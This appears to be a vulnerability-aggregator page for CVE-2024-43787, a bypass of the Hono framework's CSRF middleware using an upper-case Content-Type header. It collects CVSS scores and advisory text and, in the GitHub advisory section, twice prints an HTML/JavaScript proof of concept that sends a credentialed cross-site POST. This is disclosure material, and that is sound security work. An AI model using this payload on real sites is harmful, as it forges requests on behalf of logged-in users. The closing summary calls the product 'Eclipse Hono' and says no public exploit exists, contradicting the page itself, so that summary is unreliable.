CVE-2024-43787
Hono CSRF middleware can be bypassed using crafted Content-Type header
Hono is a Web application framework that provides support for any JavaScript runtime. Hono CSRF middleware can be bypassed using crafted Content-Type header. MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case. As a result, attacker can bypass csrf middleware using upper-case form-like MIME type. This vulnerability is fixed in 4.5.8.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
5.0
Hono CSRF middleware can be bypassed using crafted Content-Type header
Hono is a Web application framework that provides support for any JavaScript runtime. Hono CSRF middleware can be bypassed using crafted Content-Type header. MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case. As a result, attacker can bypass csrf middleware using upper-case form-like MIME type. This vulnerability is fixed in 4.5.8.
- Record
CVE-2024-43787- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L - Weakness
- CWE-352
- Updated
- 2026-11-02
EUVDEUVD-2024-2653
5.0
Hono is a Web application framework that provides support for any JavaScript runtime. Hono CSRF middleware can be bypassed using crafted Content-Type header. MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case. As a result, attacker can bypass csrf middleware using upper-case form-like MIME type. This vulnerability is fixed in 4.5.8.
- Record
EUVD-2024-2653- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-rpfr-3m35-5vx5
2.3
Hono CSRF middleware can be bypassed using crafted Content-Type header
Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header.
Details
MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.
As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".
PoC
<html>
<head>
<title>CSRF Test</title>
<script defer>
document.addEventListener("DOMContentLoaded", () => {
document.getElementById("btn").addEventListener("click", async () => {
const res = await fetch("http://victim.example.com/test", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "Application/x-www-form-urlencoded",
},
});
});
});
</script>
</head>
<body>
<h1>CSRF Test</h1>
<button id="btn">Click me!</button>
</body>
</html>
Impact
Bypass csrf protection implemented with hono csrf middleware.
Discussion
I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.
- Record
GHSA-rpfr-3m35-5vx5- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N - CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L - Weakness
- CWE-352
- Updated
- 2026-11-02
NVD
5.0
Hono is a Web application framework that provides support for any JavaScript runtime. Hono CSRF middleware can be bypassed using crafted Content-Type header. MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case. As a result, attacker can bypass csrf middleware using upper-case form-like MIME type. This vulnerability is fixed in 4.5.8.
- Record
CVE-2024-43787- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L - Weakness
- CWE-352
- Updated
- 2026-11-02
OSV
5.0
Hono CSRF middleware can be bypassed using crafted Content-Type header
Hono is a Web application framework that provides support for any JavaScript runtime. Hono CSRF middleware can be bypassed using crafted Content-Type header. MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case. As a result, attacker can bypass csrf middleware using upper-case form-like MIME type. This vulnerability is fixed in 4.5.8.
- Record
CVE-2024-43787- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L - Weakness
- CWE-352
- Updated
- 2026-11-02
OSVGHSA-rpfr-3m35-5vx5
2.3
Hono CSRF middleware can be bypassed using crafted Content-Type header
Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header.
Details
MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.
As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".
PoC
<html>
<head>
<title>CSRF Test</title>
<script defer>
document.addEventListener("DOMContentLoaded", () => {
document.getElementById("btn").addEventListener("click", async () => {
const res = await fetch("http://victim.example.com/test", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "Application/x-www-form-urlencoded",
},
});
});
});
</script>
</head>
<body>
<h1>CSRF Test</h1>
<button id="btn">Click me!</button>
</body>
</html>
Impact
Bypass csrf protection implemented with hono csrf middleware.
Discussion
I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.
- Record
GHSA-rpfr-3m35-5vx5- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N - CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L - Weakness
- CWE-352
- Updated
- 2026-11-02
OSVCLSA-2026-1790413170 No score
TuxCare security update for hono (15 CVEs)
TuxCare rebuilt hono to address 15 CVEs. Fixed in 3.12.12-tuxcare.1.
- Record
CLSA-2026-1790413170- Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-43787 is a medium vulnerability (CVSS 5.0) in Eclipse Hono, published August 22, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. Fixed in hono 4.5.8.
References
github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5
github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449
github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts
nvd.nist.gov/vuln/detail/CVE-2024-43787
github.com/advisories/GHSA-rpfr-3m35-5vx5
github.com/CVEProject/cvelistV5/tree/main/cves/2024/43xxx/CVE-2024-43787.json
github.com/honojs/hono